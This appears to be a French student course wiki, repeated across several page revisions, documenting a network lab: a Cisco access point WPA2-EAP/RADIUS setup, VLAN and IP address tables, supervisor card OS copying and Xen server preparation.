Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...

Le wifi SSID_Lulya est visible et accessible.

Dot11Radio 0 : 2.5 GHz

Dot11rRadio 1 : 5 GHz

Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.

Au cours d'après, j'ai vérifié que la configuration Wifi est OK via le PC zabeth30.
ap#sh dot11 bssid

== Supplémentaires ==

Puisque j'ai été la plus avancée au niveau de la réalisation de la VM et de certaines parties concernant le service internet, les tests d'intrusion et les réalisations, j'ai voulu aidé mes camarades.

Je me souviens de Nathan qui a été confiné cas contact que j'ai aidé à configurer sa machine virtuelle et lancé son domaine via gandi.net. Il a pu rattraper le retard et donc bien avancer.

Puis, au niveau de de la sécurisation du site web par certificat et par DNSSEC.

J'ai aussi réalisé d'autres travaux comme l'utilisateur username.

Une interconnexion, j'ai connecté les routeurs 6509 et 3560E, ils ont alors été en conflits mais les VM ont tout de même continuer à répondre.

J'ai aussi eu un moment une connexion avec SSID_Lulya via mon portable sans internet ce qui est normal.

TP sysres IMA2a5 2020/2021

2020-12-15T22:51:22Z

Lchenu : /* Table générale */

== Introduction ==

Bienvenue sur l'article wikipédia de la promotion 2020 - 2021 de la section IMA2A5. Cette page traite du sujet de protocole avancé vu en semestre 9.
Le lien vers le sujet est : [https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html]

== Objectif du projet ==

La promotion 2020-2021 IMA2A5 réalise un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.
La redondance matérielle se traduit par la mise en place de deux sites qui sont connectés et fonctionnent ensemble. Mais, si un des deux tombent en panne, le second récupère tout le travail et maintient le réseau.

D'un point de vue système, chacun a une machine virtuelle Xen assurant des services. Pour finir, en utilisant nos connaissances, un réseau Wifi et un site web sécurisés seront installés.

== Répartition des binômes ==

{| class="wikitable"
! Cahier !! Elèves
|-
| [[ TP sysres IMA2a5 2020/2021 G1 | Cahier groupe n°1]]
| SAWICZ Lionel
|-
| [[ TP sysres IMA2a5 2020/2021 G2 | Cahier groupe n°2]]
| HERBOMEL Guillaume
|-
| [[ TP sysres IMA2a5 2020/2021 G3 | Cahier groupe n°3]]
| CRAMETTE Samuel
|-
| [[ TP sysres IMA2a5 2020/2021 G4 | Cahier groupe n°4]]
| AVEZ Thibaut
|-
| [[ TP sysres IMA2a5 2020/2021 G5 | Cahier groupe n°5]]
| GLAINE Alexandre
|-
| [[ TP sysres IMA2a5 2020/2021 G6 | Cahier groupe n°6]]
| VITTECOQ Thomas
|-
| [[ TP sysres IMA2a5 2020/2021 G7 | Cahier groupe n°7]]
| CHENU Léna
|-
| [[ TP sysres IMA2a5 2020/2021 G8 | Cahier groupe n°8]]
| COULON Nathan
|-
| [[ TP sysres IMA2a5 2020/2021 G9 | Cahier groupe n°9]]
| DJAMBA Crispin
|}

== Description des connexions ==
Pour ce TP nous avons à notre disposition :

{| class="wikitable"
!Désignation !! Référence !! Autre !! Connexion
|-
|Routeur
|6509
|Equipé de deux Hyperviseurs SUP720 avec x02 interfaces Giga et x02 TenGiga
|Connecté au réseau de Polytech pour accéder à internet via RENATER
|-
|Commutateur Cisco
|3560 E
|Equipement utilisé comme simple commutateur même s'il peut faire office de routeur
|Connecté au réseau de Polytech via la prise SR52-3/K16
|-
|Commutateur Cisco
|ISR 4331
|Utilisé comme portail dérobé en cas de défaillance du 3560E
|Connecté au SDSL connecter via la prise SR52-3/L04,
|-
|Serveur de virtualisation
|R540
|Abrite les machines virtuelles
|Relié au 6509 par liaison fibre LC/LC et au 3560-E par câble Ethernet
|}

NB: Nous avions eu à utiliser des modules SFP Giga et TenGiga Cisco de type LC ou SC.
Pour répondre à l’objectif du TP : la redondance matérielle, nous avions entamé le raccordement des équipements. Cependant, cela a entraîné une utilisation abusive des ressources que nous disposions : 6 liaisons fibres pour nos connexions alors que 3 nous étaient allouées, une partie est réservée aux IMA5SC.

== Architecture matérielle ==

Dans un premier temps, nous nous sommes occupé de l'aspect Hardware du projet. Le but étant de connecter les différents éléments mis à disposition (Routeur 6509, Serveur de virtualisation R540 et commutateur 3560-E & ISR 4331) entre eux. Pour cela, nous nous sommes servis de la fibre mise à dispostion. En effet, le routeur 6509, composé des deux cartes de supervision doit être connectée au R540, au 3560-E ainsi qu'à l'ISR 4331 via une liaison fibre. Initialement, nous comptions connecter chaque carte de supervision aux autres éléments grâce à la fibre mis à disposition. Cela aurait donné le schéma ci-dessous :

=== Architecture matérielle Optimale ===

[[Fichier:Architecture-MA2a5-2020_2021.JPG]]

=== Architecture matérielle Réelle ===

Ainsi, grâce à cette configuration, il y aurait eu de la redondance entre les cartes de supervision et les autres éléments. De ce fait, si une des cartes de supervision était défectueuse, la seconde pourrait toujours communiquer avec le reste du système. Cependant, afin de se partager le matériel avec la seconde classe, nous ne pouvions utiliser que la moitié de la fibre mise à disposition. De ce fait, nous avons abouti à la configuration suivante :

[[Fichier:Architecture2-MA2a5-2020_2021.JPG]]

=== Architecture Réseau ===

[[Fichier:Architecture-Reseau-MA2a5-2020_2021.JPG]]

== Table d'adressage IP ==

=== Table du vlan1 ===

{| class="wikitable"
!Nom de l'appareil !! IP
|-
|6509
|10.60.0.1
|-
|3560 E
|10.60.0.2
|-
|Mask
|255.255.255.0
|}

=== Table du vlan2 ===

{| class="wikitable"
!Nom de l'appareil !! IP !! nom VM
|-
|6509
|193.48.57.161
|X
|-
|3560 E
|193.48.57.162
|X
|-
|routeur virtuel
|193.48.57.163
|X
|-
|Lionel
|193.48.57.164
|Rafale
|-
|Guillaume
|193.48.57.165
|Concorde
|-
|Samuel
|193.48.57.166
|Blackbird
|-
|Thibaut
|193.48.57.167
|Falcon
|-
|Alexandre
|193.48.57.168
|Mirage
|-
|Thomas
|193.48.57.169
|Alpha_jet
|-
|Crispin
|193.48.57.170
|NightHawk
|-
|Léna
|193.48.57.171
|hawker
|-
|Nathan
|193.48.57.172
|Boeing
|-
|ISR
|193.48.57.173/28
|X
|-
|Mask
|255.255.255.240
|X
|-
|}

=== Table du vlan130 ===
{| class="wikitable"
!Nom de l'appareil !! IP
|-
|6509
|192.168.222.2
|-
|3560 E
|192.168.222.1
|-
|Mask
|255.255.255.248
|}

=== Table générale ===

{| class="wikitable"
! Groupe !! Nom !! Vlan !! Réseau IPV4 !! Réseau IPV6 !! IP Routeur 1 !! IP Routeur 2 !! IP Routeur Virtuel
|-
|X
|Administration
|Vlan1
|10.60.0.0/24
|
|10.60.0.1
|10.60.0.2
|
|-
|X
|Xen
|Vlan2
|193.48.57.160/28
|2001:660:4401:60a2::0/64
|193.48.57.161
|193.48.57.162
|193.48.57.163
|-
|Groupe 1
|Lionel
|Vlan3
|X
|X
|X
|X
|X
|-
|Groupe 2
|Guillaume
|Vlan4
|X
|X
|X
|X
|X
|-
|Groupe 3
|Samuel
|Vlan5
|X
|X
|X
|X
|X
|-
|Groupe 4
|Thibaut
|Vlan6
|X
|X
|X
|X
|X
|-
|Groupe 5
|Alexandre
|Vlan7
|193.48.57.168/24
|X
|X
|X
|X
|-
|Groupe 6
|Thomas
|Vlan8
|X
|X
|X
|X
|X
|-
|Groupe 7
|Léna
|Vlan10
|10.60.7.0/24
|2001:660:4401:60aa::0/64
|10.60.7.1
|10.60.7.2
|10.60.7.3
|-
|Groupe 8
|Nathan
|Vlan11
|X
|2001:660:4401:60a2::4/64
|X
|X
|X
|-
|Groupe 9
|Crispin
|Vlan12
|10.60.9.0/24
|2001:660:4401:60a4::0/64
|10.60.9.1
|10.60.9.2
|10.60.9.3
|-
|X
|Interconnexion
|X
|X
|Router1 : X // Router2 : X // Ecole : X
|X
|X
|
|-
|}

=== Cartes de supervision ===

Problématique: Configuration et installation des OS des cartes de supervision

Etape 1: Vérifier l'existence d'OS sur les deux cartes.

Pour cela, nous avons utilisé le port console grâce à une liaison série sur un PC. Ainsi, nous avons utilisé l'interface minicom pour nous connecter aux cartes.
-> 1ere carte: OS présent. Réaction suite à la commande boot et différents OS trouvés (3)
-> 2ème carte: OS absent

Etape 2: Copie du fichier d'OS

[[Fichier:TP sysres IMA2a5 2020/2021 - Carte Supervision 1.jpg]]

Grâce à l'emplacement en façade pour les cartes flash, nous avons pu copier le fichier d'OS de la première carte de supervision vers l'autre. Puis, il nous a suffit de replacer la carte flash dans la deuxième carte de supervision.

copy sup-bootdisk:/sys/s72033/base/s72033-ipservicesk9_wan-mz.&éé-33.SXI6.bin disk0:

Etape 3: Reboot de la deuxième carte

Pour s'assurer du bon fonctionnement de la deuxième carte, nous l'avons redémarrer (boot) avec l'OS à l'intérieur.

boot
sh ver

Etape 4: Vérification de la redondance

La carte principale de supervision est active alors que la deuxième est en standby. La première carte bootée est la carte active

== Configuration machine Xen sur Capbreton ==

- Connexion de l'écran, clavier, souris sur le serveur
- Commande "lbslk" permettant de voir les partitions sur la machine
Il y a 2 disques de 500go qui forme un volume répartie de la façon suivante : 900Go pour Xen et 100Go pour le système.
Il y a 1 disque SDA avec 800go de libre.
Deux disques plus lent sont utilisé pour LVM.
- On souhaite déplacer les disques présent dans l'ancien serveur vers le serveur Capbreton cependant il faut s'assurer que les berceaux sont les même.
Dans notre cas les berceaux ne sont pas les mêmes nous n'avons pas pu les insérer

Concernant le brigde, nous avons vu dans /etc/network/interfaces "brigde_ports eth1 eth7". Nous devons connecter eth1 et eth7. Pour connaître où sont les interfaces sur le serveur nous avons utilisé la commande:
ethtool -p eth7
ethtool -p eth1

On a pu constater que eth7 correspond à la connexion en fibre optique et eth1 est la connexion cuivre

TP sysres IMA2a5 2020/2021

2020-12-15T22:48:32Z

Lchenu : /* Table des vlan */

== Introduction ==

Bienvenue sur l'article wikipédia de la promotion 2020 - 2021 de la section IMA2A5. Cette page traite du sujet de protocole avancé vu en semestre 9.
Le lien vers le sujet est : [https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html]

== Objectif du projet ==

La promotion 2020-2021 IMA2A5 réalise un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.
La redondance matérielle se traduit par la mise en place de deux sites qui sont connectés et fonctionnent ensemble. Mais, si un des deux tombent en panne, le second récupère tout le travail et maintient le réseau.

D'un point de vue système, chacun a une machine virtuelle Xen assurant des services. Pour finir, en utilisant nos connaissances, un réseau Wifi et un site web sécurisés seront installés.

== Répartition des binômes ==

{| class="wikitable"
! Cahier !! Elèves
|-
| [[ TP sysres IMA2a5 2020/2021 G1 | Cahier groupe n°1]]
| SAWICZ Lionel
|-
| [[ TP sysres IMA2a5 2020/2021 G2 | Cahier groupe n°2]]
| HERBOMEL Guillaume
|-
| [[ TP sysres IMA2a5 2020/2021 G3 | Cahier groupe n°3]]
| CRAMETTE Samuel
|-
| [[ TP sysres IMA2a5 2020/2021 G4 | Cahier groupe n°4]]
| AVEZ Thibaut
|-
| [[ TP sysres IMA2a5 2020/2021 G5 | Cahier groupe n°5]]
| GLAINE Alexandre
|-
| [[ TP sysres IMA2a5 2020/2021 G6 | Cahier groupe n°6]]
| VITTECOQ Thomas
|-
| [[ TP sysres IMA2a5 2020/2021 G7 | Cahier groupe n°7]]
| CHENU Léna
|-
| [[ TP sysres IMA2a5 2020/2021 G8 | Cahier groupe n°8]]
| COULON Nathan
|-
| [[ TP sysres IMA2a5 2020/2021 G9 | Cahier groupe n°9]]
| DJAMBA Crispin
|}

== Description des connexions ==
Pour ce TP nous avons à notre disposition :

{| class="wikitable"
!Désignation !! Référence !! Autre !! Connexion
|-
|Routeur
|6509
|Equipé de deux Hyperviseurs SUP720 avec x02 interfaces Giga et x02 TenGiga
|Connecté au réseau de Polytech pour accéder à internet via RENATER
|-
|Commutateur Cisco
|3560 E
|Equipement utilisé comme simple commutateur même s'il peut faire office de routeur
|Connecté au réseau de Polytech via la prise SR52-3/K16
|-
|Commutateur Cisco
|ISR 4331
|Utilisé comme portail dérobé en cas de défaillance du 3560E
|Connecté au SDSL connecter via la prise SR52-3/L04,
|-
|Serveur de virtualisation
|R540
|Abrite les machines virtuelles
|Relié au 6509 par liaison fibre LC/LC et au 3560-E par câble Ethernet
|}

NB: Nous avions eu à utiliser des modules SFP Giga et TenGiga Cisco de type LC ou SC.
Pour répondre à l’objectif du TP : la redondance matérielle, nous avions entamé le raccordement des équipements. Cependant, cela a entraîné une utilisation abusive des ressources que nous disposions : 6 liaisons fibres pour nos connexions alors que 3 nous étaient allouées, une partie est réservée aux IMA5SC.

== Architecture matérielle ==

Dans un premier temps, nous nous sommes occupé de l'aspect Hardware du projet. Le but étant de connecter les différents éléments mis à disposition (Routeur 6509, Serveur de virtualisation R540 et commutateur 3560-E & ISR 4331) entre eux. Pour cela, nous nous sommes servis de la fibre mise à dispostion. En effet, le routeur 6509, composé des deux cartes de supervision doit être connectée au R540, au 3560-E ainsi qu'à l'ISR 4331 via une liaison fibre. Initialement, nous comptions connecter chaque carte de supervision aux autres éléments grâce à la fibre mis à disposition. Cela aurait donné le schéma ci-dessous :

=== Architecture matérielle Optimale ===

[[Fichier:Architecture-MA2a5-2020_2021.JPG]]

=== Architecture matérielle Réelle ===

Ainsi, grâce à cette configuration, il y aurait eu de la redondance entre les cartes de supervision et les autres éléments. De ce fait, si une des cartes de supervision était défectueuse, la seconde pourrait toujours communiquer avec le reste du système. Cependant, afin de se partager le matériel avec la seconde classe, nous ne pouvions utiliser que la moitié de la fibre mise à disposition. De ce fait, nous avons abouti à la configuration suivante :

[[Fichier:Architecture2-MA2a5-2020_2021.JPG]]

=== Architecture Réseau ===

[[Fichier:Architecture-Reseau-MA2a5-2020_2021.JPG]]

== Table d'adressage IP ==

=== Table du vlan1 ===

{| class="wikitable"
!Nom de l'appareil !! IP
|-
|6509
|10.60.0.1
|-
|3560 E
|10.60.0.2
|-
|Mask
|255.255.255.0
|}

=== Table du vlan2 ===

{| class="wikitable"
!Nom de l'appareil !! IP !! nom VM
|-
|6509
|193.48.57.161
|X
|-
|3560 E
|193.48.57.162
|X
|-
|routeur virtuel
|193.48.57.163
|X
|-
|Lionel
|193.48.57.164
|Rafale
|-
|Guillaume
|193.48.57.165
|Concorde
|-
|Samuel
|193.48.57.166
|Blackbird
|-
|Thibaut
|193.48.57.167
|Falcon
|-
|Alexandre
|193.48.57.168
|Mirage
|-
|Thomas
|193.48.57.169
|Alpha_jet
|-
|Crispin
|193.48.57.170
|NightHawk
|-
|Léna
|193.48.57.171
|hawker
|-
|Nathan
|193.48.57.172
|Boeing
|-
|ISR
|193.48.57.173/28
|X
|-
|Mask
|255.255.255.240
|X
|-
|}

=== Table du vlan130 ===
{| class="wikitable"
!Nom de l'appareil !! IP
|-
|6509
|192.168.222.2
|-
|3560 E
|192.168.222.1
|-
|Mask
|255.255.255.248
|}

=== Table générale ===

{| class="wikitable"
! Groupe !! Nom !! Vlan !! Réseau IPV4 !! Réseau IPV6 !! IP Routeur 1 !! IP Routeur 2 !! IP Routeur Virtuel
|-
|x
|Administration
|Vlan1
|10.60.0.0/24
|
|10.60.0.1
|10.60.0.2
|
|-
|x
|Xen
|Vlan2
|193.48.57.160/28
|2001:660:4401:60a2::0/64
|193.48.57.161
|193.48.57.162
|193.48.57.163
|-
|Groupe 1
|Lionel
|Vlan3
|X
|X
|X
|X
|X
|-
|Groupe 2
|Guillaume
|Vlan4
|X
|X
|X
|X
|X
|-
|Groupe 3
|Samuel
|Vlan5
|X
|X
|X
|X
|X
|-
|Groupe 4
|Thibaut
|Vlan6
|X
|X
|X
|X
|X
|-
|Groupe 5
|Alexandre
|Vlan7
|193.48.57.168/24
|X
|X
|X
|X
|-
|Groupe 6
|Thomas
|Vlan8
|X
|X
|X
|X
|X
|-
|Groupe 7
|Léna
|Vlan10
|10.60.7.0/24
|2001:660:4401:60aa::0/64
|10.60.7.1
|10.60.7.2
|10.60.7.3
|-
|Groupe 8
|Nathan
|Vlan11
|X
|2001:660:4401:60a2::4/64
|X
|X
|X
|-
|Groupe 9
|Crispin
|Vlan12
|10.60.9.0/24
|2001:660:4401:60a4::0/64
|10.60.9.1
|10.60.9.2
|10.60.9.3
|-
|x
|Interconnexion
|X
|X
|Router1 : X // Router2 : X // Ecole : X
|X
|X
|
|-
|}

=== Cartes de supervision ===

Problématique: Configuration et installation des OS des cartes de supervision

Etape 1: Vérifier l'existence d'OS sur les deux cartes.

Pour cela, nous avons utilisé le port console grâce à une liaison série sur un PC. Ainsi, nous avons utilisé l'interface minicom pour nous connecter aux cartes.
-> 1ere carte: OS présent. Réaction suite à la commande boot et différents OS trouvés (3)
-> 2ème carte: OS absent

Etape 2: Copie du fichier d'OS

[[Fichier:TP sysres IMA2a5 2020/2021 - Carte Supervision 1.jpg]]

Grâce à l'emplacement en façade pour les cartes flash, nous avons pu copier le fichier d'OS de la première carte de supervision vers l'autre. Puis, il nous a suffit de replacer la carte flash dans la deuxième carte de supervision.

copy sup-bootdisk:/sys/s72033/base/s72033-ipservicesk9_wan-mz.&éé-33.SXI6.bin disk0:

Etape 3: Reboot de la deuxième carte

Pour s'assurer du bon fonctionnement de la deuxième carte, nous l'avons redémarrer (boot) avec l'OS à l'intérieur.

boot
sh ver

Etape 4: Vérification de la redondance

La carte principale de supervision est active alors que la deuxième est en standby. La première carte bootée est la carte active

== Configuration machine Xen sur Capbreton ==

- Connexion de l'écran, clavier, souris sur le serveur
- Commande "lbslk" permettant de voir les partitions sur la machine
Il y a 2 disques de 500go qui forme un volume répartie de la façon suivante : 900Go pour Xen et 100Go pour le système.
Il y a 1 disque SDA avec 800go de libre.
Deux disques plus lent sont utilisé pour LVM.
- On souhaite déplacer les disques présent dans l'ancien serveur vers le serveur Capbreton cependant il faut s'assurer que les berceaux sont les même.
Dans notre cas les berceaux ne sont pas les mêmes nous n'avons pas pu les insérer

Concernant le brigde, nous avons vu dans /etc/network/interfaces "brigde_ports eth1 eth7". Nous devons connecter eth1 et eth7. Pour connaître où sont les interfaces sur le serveur nous avons utilisé la commande:
ethtool -p eth7
ethtool -p eth1

On a pu constater que eth7 correspond à la connexion en fibre optique et eth1 est la connexion cuivre

TP sysres IMA2a5 2020/2021

2020-12-15T22:48:18Z

Lchenu : /* IP des VMs */

== Introduction ==

Bienvenue sur l'article wikipédia de la promotion 2020 - 2021 de la section IMA2A5. Cette page traite du sujet de protocole avancé vu en semestre 9.
Le lien vers le sujet est : [https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html]

== Objectif du projet ==

La promotion 2020-2021 IMA2A5 réalise un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.
La redondance matérielle se traduit par la mise en place de deux sites qui sont connectés et fonctionnent ensemble. Mais, si un des deux tombent en panne, le second récupère tout le travail et maintient le réseau.

D'un point de vue système, chacun a une machine virtuelle Xen assurant des services. Pour finir, en utilisant nos connaissances, un réseau Wifi et un site web sécurisés seront installés.

== Répartition des binômes ==

{| class="wikitable"
! Cahier !! Elèves
|-
| [[ TP sysres IMA2a5 2020/2021 G1 | Cahier groupe n°1]]
| SAWICZ Lionel
|-
| [[ TP sysres IMA2a5 2020/2021 G2 | Cahier groupe n°2]]
| HERBOMEL Guillaume
|-
| [[ TP sysres IMA2a5 2020/2021 G3 | Cahier groupe n°3]]
| CRAMETTE Samuel
|-
| [[ TP sysres IMA2a5 2020/2021 G4 | Cahier groupe n°4]]
| AVEZ Thibaut
|-
| [[ TP sysres IMA2a5 2020/2021 G5 | Cahier groupe n°5]]
| GLAINE Alexandre
|-
| [[ TP sysres IMA2a5 2020/2021 G6 | Cahier groupe n°6]]
| VITTECOQ Thomas
|-
| [[ TP sysres IMA2a5 2020/2021 G7 | Cahier groupe n°7]]
| CHENU Léna
|-
| [[ TP sysres IMA2a5 2020/2021 G8 | Cahier groupe n°8]]
| COULON Nathan
|-
| [[ TP sysres IMA2a5 2020/2021 G9 | Cahier groupe n°9]]
| DJAMBA Crispin
|}

== Description des connexions ==
Pour ce TP nous avons à notre disposition :

{| class="wikitable"
!Désignation !! Référence !! Autre !! Connexion
|-
|Routeur
|6509
|Equipé de deux Hyperviseurs SUP720 avec x02 interfaces Giga et x02 TenGiga
|Connecté au réseau de Polytech pour accéder à internet via RENATER
|-
|Commutateur Cisco
|3560 E
|Equipement utilisé comme simple commutateur même s'il peut faire office de routeur
|Connecté au réseau de Polytech via la prise SR52-3/K16
|-
|Commutateur Cisco
|ISR 4331
|Utilisé comme portail dérobé en cas de défaillance du 3560E
|Connecté au SDSL connecter via la prise SR52-3/L04,
|-
|Serveur de virtualisation
|R540
|Abrite les machines virtuelles
|Relié au 6509 par liaison fibre LC/LC et au 3560-E par câble Ethernet
|}

NB: Nous avions eu à utiliser des modules SFP Giga et TenGiga Cisco de type LC ou SC.
Pour répondre à l’objectif du TP : la redondance matérielle, nous avions entamé le raccordement des équipements. Cependant, cela a entraîné une utilisation abusive des ressources que nous disposions : 6 liaisons fibres pour nos connexions alors que 3 nous étaient allouées, une partie est réservée aux IMA5SC.

== Architecture matérielle ==

Dans un premier temps, nous nous sommes occupé de l'aspect Hardware du projet. Le but étant de connecter les différents éléments mis à disposition (Routeur 6509, Serveur de virtualisation R540 et commutateur 3560-E & ISR 4331) entre eux. Pour cela, nous nous sommes servis de la fibre mise à dispostion. En effet, le routeur 6509, composé des deux cartes de supervision doit être connectée au R540, au 3560-E ainsi qu'à l'ISR 4331 via une liaison fibre. Initialement, nous comptions connecter chaque carte de supervision aux autres éléments grâce à la fibre mis à disposition. Cela aurait donné le schéma ci-dessous :

=== Architecture matérielle Optimale ===

[[Fichier:Architecture-MA2a5-2020_2021.JPG]]

=== Architecture matérielle Réelle ===

Ainsi, grâce à cette configuration, il y aurait eu de la redondance entre les cartes de supervision et les autres éléments. De ce fait, si une des cartes de supervision était défectueuse, la seconde pourrait toujours communiquer avec le reste du système. Cependant, afin de se partager le matériel avec la seconde classe, nous ne pouvions utiliser que la moitié de la fibre mise à disposition. De ce fait, nous avons abouti à la configuration suivante :

[[Fichier:Architecture2-MA2a5-2020_2021.JPG]]

=== Architecture Réseau ===

[[Fichier:Architecture-Reseau-MA2a5-2020_2021.JPG]]

== Table d'adressage IP ==

=== Table du vlan1 ===

{| class="wikitable"
!Nom de l'appareil !! IP
|-
|6509
|10.60.0.1
|-
|3560 E
|10.60.0.2
|-
|Mask
|255.255.255.0
|}

=== Table du vlan2 ===

{| class="wikitable"
!Nom de l'appareil !! IP !! nom VM
|-
|6509
|193.48.57.161
|X
|-
|3560 E
|193.48.57.162
|X
|-
|routeur virtuel
|193.48.57.163
|X
|-
|Lionel
|193.48.57.164
|Rafale
|-
|Guillaume
|193.48.57.165
|Concorde
|-
|Samuel
|193.48.57.166
|Blackbird
|-
|Thibaut
|193.48.57.167
|Falcon
|-
|Alexandre
|193.48.57.168
|Mirage
|-
|Thomas
|193.48.57.169
|Alpha_jet
|-
|Crispin
|193.48.57.170
|NightHawk
|-
|Léna
|193.48.57.171
|hawker
|-
|Nathan
|193.48.57.172
|Boeing
|-
|ISR
|193.48.57.173/28
|X
|-
|Mask
|255.255.255.240
|X
|-
|}

=== Table du vlan130 ===
{| class="wikitable"
!Nom de l'appareil !! IP
|-
|6509
|192.168.222.2
|-
|3560 E
|192.168.222.1
|-
|Mask
|255.255.255.248
|}

=== Table des vlan ===

{| class="wikitable"
!Nom !! Vlan
|-
|Lionel
|Vlan3
|-
|Guillaume
|Vlan4
|-
|Samuel
|Vlan5
|-
|Thibaut
|Vlan6
|-
|Alexandre
|Vlan7
|-
|Thomas
|Vlan8
|-
|Crispin
|Vlan9
|-
|Léna
|Vlan10
|-
|Nathan
|Vlan11
|-
|}

=== Table générale ===

{| class="wikitable"
! Groupe !! Nom !! Vlan !! Réseau IPV4 !! Réseau IPV6 !! IP Routeur 1 !! IP Routeur 2 !! IP Routeur Virtuel
|-
|x
|Administration
|Vlan1
|10.60.0.0/24
|
|10.60.0.1
|10.60.0.2
|
|-
|x
|Xen
|Vlan2
|193.48.57.160/28
|2001:660:4401:60a2::0/64
|193.48.57.161
|193.48.57.162
|193.48.57.163
|-
|Groupe 1
|Lionel
|Vlan3
|X
|X
|X
|X
|X
|-
|Groupe 2
|Guillaume
|Vlan4
|X
|X
|X
|X
|X
|-
|Groupe 3
|Samuel
|Vlan5
|X
|X
|X
|X
|X
|-
|Groupe 4
|Thibaut
|Vlan6
|X
|X
|X
|X
|X
|-
|Groupe 5
|Alexandre
|Vlan7
|193.48.57.168/24
|X
|X
|X
|X
|-
|Groupe 6
|Thomas
|Vlan8
|X
|X
|X
|X
|X
|-
|Groupe 7
|Léna
|Vlan10
|10.60.7.0/24
|2001:660:4401:60aa::0/64
|10.60.7.1
|10.60.7.2
|10.60.7.3
|-
|Groupe 8
|Nathan
|Vlan11
|X
|2001:660:4401:60a2::4/64
|X
|X
|X
|-
|Groupe 9
|Crispin
|Vlan12
|10.60.9.0/24
|2001:660:4401:60a4::0/64
|10.60.9.1
|10.60.9.2
|10.60.9.3
|-
|x
|Interconnexion
|X
|X
|Router1 : X // Router2 : X // Ecole : X
|X
|X
|
|-
|}

=== Cartes de supervision ===

Problématique: Configuration et installation des OS des cartes de supervision

Etape 1: Vérifier l'existence d'OS sur les deux cartes.

Pour cela, nous avons utilisé le port console grâce à une liaison série sur un PC. Ainsi, nous avons utilisé l'interface minicom pour nous connecter aux cartes.
-> 1ere carte: OS présent. Réaction suite à la commande boot et différents OS trouvés (3)
-> 2ème carte: OS absent

Etape 2: Copie du fichier d'OS

[[Fichier:TP sysres IMA2a5 2020/2021 - Carte Supervision 1.jpg]]

Grâce à l'emplacement en façade pour les cartes flash, nous avons pu copier le fichier d'OS de la première carte de supervision vers l'autre. Puis, il nous a suffit de replacer la carte flash dans la deuxième carte de supervision.

copy sup-bootdisk:/sys/s72033/base/s72033-ipservicesk9_wan-mz.&éé-33.SXI6.bin disk0:

Etape 3: Reboot de la deuxième carte

Pour s'assurer du bon fonctionnement de la deuxième carte, nous l'avons redémarrer (boot) avec l'OS à l'intérieur.

boot
sh ver

Etape 4: Vérification de la redondance

La carte principale de supervision est active alors que la deuxième est en standby. La première carte bootée est la carte active

== Configuration machine Xen sur Capbreton ==

- Connexion de l'écran, clavier, souris sur le serveur
- Commande "lbslk" permettant de voir les partitions sur la machine
Il y a 2 disques de 500go qui forme un volume répartie de la façon suivante : 900Go pour Xen et 100Go pour le système.
Il y a 1 disque SDA avec 800go de libre.
Deux disques plus lent sont utilisé pour LVM.
- On souhaite déplacer les disques présent dans l'ancien serveur vers le serveur Capbreton cependant il faut s'assurer que les berceaux sont les même.
Dans notre cas les berceaux ne sont pas les mêmes nous n'avons pas pu les insérer

Concernant le brigde, nous avons vu dans /etc/network/interfaces "brigde_ports eth1 eth7". Nous devons connecter eth1 et eth7. Pour connaître où sont les interfaces sur le serveur nous avons utilisé la commande:
ethtool -p eth7
ethtool -p eth1

On a pu constater que eth7 correspond à la connexion en fibre optique et eth1 est la connexion cuivre

TP sysres IMA2a5 2020/2021

2020-12-15T22:47:57Z

Lchenu : /* Table générale */

== Introduction ==

Bienvenue sur l'article wikipédia de la promotion 2020 - 2021 de la section IMA2A5. Cette page traite du sujet de protocole avancé vu en semestre 9.
Le lien vers le sujet est : [https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html]

== Objectif du projet ==

La promotion 2020-2021 IMA2A5 réalise un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.
La redondance matérielle se traduit par la mise en place de deux sites qui sont connectés et fonctionnent ensemble. Mais, si un des deux tombent en panne, le second récupère tout le travail et maintient le réseau.

D'un point de vue système, chacun a une machine virtuelle Xen assurant des services. Pour finir, en utilisant nos connaissances, un réseau Wifi et un site web sécurisés seront installés.

